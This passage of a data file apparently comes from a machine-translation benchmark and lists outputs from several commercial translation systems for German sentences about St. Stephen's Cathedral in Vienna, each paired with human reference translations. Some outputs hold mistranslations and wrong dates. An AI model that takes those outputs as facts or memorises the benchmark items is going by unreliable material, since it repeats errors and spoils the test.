Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Immaculate Conception Cathedral in Linz was built two meters lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four meters deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which form the main chime of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest free-swinging church bell in Europe, has been located in the north tower under a tower hood from the Renaissance period since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "DeepL": [ { "translation": "St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and All Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church (seat of a cathedral chapter) since 1365, a cathedral (bishop's seat) since 1469/1479 and a metropolitan church of the Archbishop of Vienna since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic cathedral, also called Steffl by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "It is named after St. Stephen, the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patron saint is All Saints", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 metres long and 34 metres wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the west façade, flanked by the two pagan towers, which are about 65 metres high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "In total, St. Stephen's Cathedral has four towers: the highest, at 136.4 metres, is the south tower; the north tower was not completed and is only 68 metres high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austro-Hungarian Empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Cathedral of the Assumption in Linz was built two metres lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "The south tower contains a total of 13 bells, eleven of which form the main peal of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era dome since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "Google Translate": [ { "translation": "St. Stephen's Cathedral (actually the cathedral and metropolitan church of St. Stephen and all the saints) on Vienna's Stephansplatz (Inner City district) has been the cathedral church (seat of a cathedral chapter) since 1365, the cathedral since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic cathedral, also known as Steffl for short by the Viennese, is a symbol of Vienna and is sometimes referred to as the Austrian national shrine", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "It is named after St. Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patronage is All Saints' Day", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The structure is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the west facade, flanked by the two heather towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "St. Stephen's Cathedral has a total of four towers: the highest at 136.4 meters is the south tower, the north tower was not completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Cathedral of the Conception of Mary in Linz was built two meters lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four meters deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which form the main bell of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest free-swinging church bell in Europe, has been located in the north tower under a tower dome from the Renaissance period since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "Microsoft Translator": [ { "translation": "St. Stephen's Cathedral (actually cathedral and metropolitan church in St. Stephen and all saints) on Vienna's Stephansplatz (inner city district) has been a cathedral church (seat of a cathedral chapter) since 1365, a cathedral (bishop's seat) since 1723, and the Metropolitan Church of the Archbishop of Vienna since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic Cathedral, also known by the Viennese as Steffl, is considered a landmark of Vienna and is sometimes referred to as the Austrian national sanctuary", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "The name is given to St. Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patrozinium is All Saints' Day", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The structure is 107 metres long and 34 metres wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the western facade, flanked by the two heath towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "In total, St. Stephen's Cathedral has four towers: the highest one at 136.4 metres is the south tower, the north tower has not been completed and is only 68 metres high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary no church could be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Cathedral of the Nativity of the Virgin Mary in Linz was built two metres lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which form the main bell of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower hood since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "ModernMT": [ { "translation": "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) at St. Stephen's Square (district Innere Stadt) has been the cathedral church (seat of a cathedral chapter) since 1365, cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic Cathedral, also called Steffl by the Viennese, is considered a landmark of Vienna and is sometimes referred to as the Austrian National Shrine", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "It is named after St. Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second Patrocinium is All Saints", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor from 1230/40 to 1263 are still preserved and form the western facade, flanked by the two heath towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "The St. Stephen's Cathedral has a total of four towers: the highest with 136.4 meters is the South Tower, the North Tower was not completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary, no church was allowed to be built higher than the South Tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Cathedral of the Conception of the Virgin Mary in Linz was built two metres lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The South Tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the South Tower there are a total of 13 bells, eleven of which make up the main sound of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest freely vibrating church bell in Europe, has been in the North Tower under a Renaissance dome since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "PROMT.One": [ { "translation": "The St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and All Saints) at the Viennese St. Stephen's Square (Inner City District) has been a cathedral church (seat of a cathedral chapter) since 1365, cathedral (bishop's seat) since 1469/1479 and metropolitan church of the archbishop since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic Cathedral, also called Steffl for short by the Viennese, is considered a landmark in Vienna and is sometimes referred to as the Austrian national sanctuary", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "The namesake is Saint Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patrol is All Saints", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The structure is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the western facade, flanked by the two pagan towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "In total, St. Stephen's Cathedral has four towers: The highest tower at 136.4 meters is the south tower, the north tower has not been completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In former Austria-Hungary no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Marian Conception Cathedral in Linz was built two metres lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The South Tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four meters deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which form the main vent of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest freely ringing church bell in Europe, has been located in the north tower under a tower hood from the Renaissance period since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "SDL Machine Translation Cloud": [ { "translation": "St. Stephen's Cathedral (actually the cathedral and metropolitan church of St. Stephan and all Saints) on Vienna's Stephansplatz (inner city district) has been a cathedral church (seat of a cathedral chapter) since 1365, a cathedral (bishop's seat) since 1723 and a metropolitan church of the archbishop of Vienna since", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic cathedral, also known as Steffl for short by the Viennese, is considered Vienna's landmark and is sometimes called the Austrian National Shrine", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "St. Stephen, who is considered the first Christian martyr, is the name of St. Stephen", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second Patrozinium is all Saints", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late-Roman predecessor building from 1230/1263 to 1940 have still been preserved and form the west facade, flanked by the two heathen towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "St. Stephen's Cathedral has four towers in total: The highest of 136.4 meters is the south tower, the north tower has not been completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Mariana conception cathedral in Linz was built two meters lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The South Tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four meters deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, of which eleven form the main building of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest free-swinging church bell in Europe, has been located in the north tower under a tower from the Renaissance period since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "SYSTRAN Translate": [ { "translation": "The St. Stephen's Cathedral (actually the cathedral and metropolitan church of St. Stephen and all the saints) at the Stephansplatz in Vienna (Innere Stadt district) has been the cathedral church (seat of a cathedral chapter) since 1365, the cathedral (bishop's seat) since 1469/1479 and the metropolitan church of the archbishop of Vienna since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic Cathedral, also known as Steffl for short by the Viennese, is regarded as the landmark of Vienna and is sometimes also referred to as the Austrian national sanctuary", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "The name is given to St. Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patrocinium is All Saints", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the west facade, flanked by the two pagan towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "The St. Stephen's Cathedral has four towers: At 136.4 meters the highest is the South Tower, the North Tower has not been completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the cathedral of St. Mary's Conception in Linz was built two meters lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The South Tower is an architectural masterpiece of the time; Despite its remarkable height, the foundation is less than four meters deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which are the main bells of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest free-swinging church bell in Europe, has been located in the North Tower under a Renaissance tower hood since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "Watson Language Translator": [ { "translation": "The St. Stephen's Cathedral (Cathedral and Metropolitan Church of St. Stephan and all the saints) at Vienna's Stephansplatz (district of the inner city) has been the cathedral church (seat of a cathedral chapter) since 1365, since 1469/1479 cathedral (bishop's seat) and since 1723 Metropolitan Church of the Archbishop of Vienna", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic Cathedral, also known as Steffl, is known as the landmark of Vienna and is sometimes referred to as the Austrian national sanctuary", "references": ["The Roman 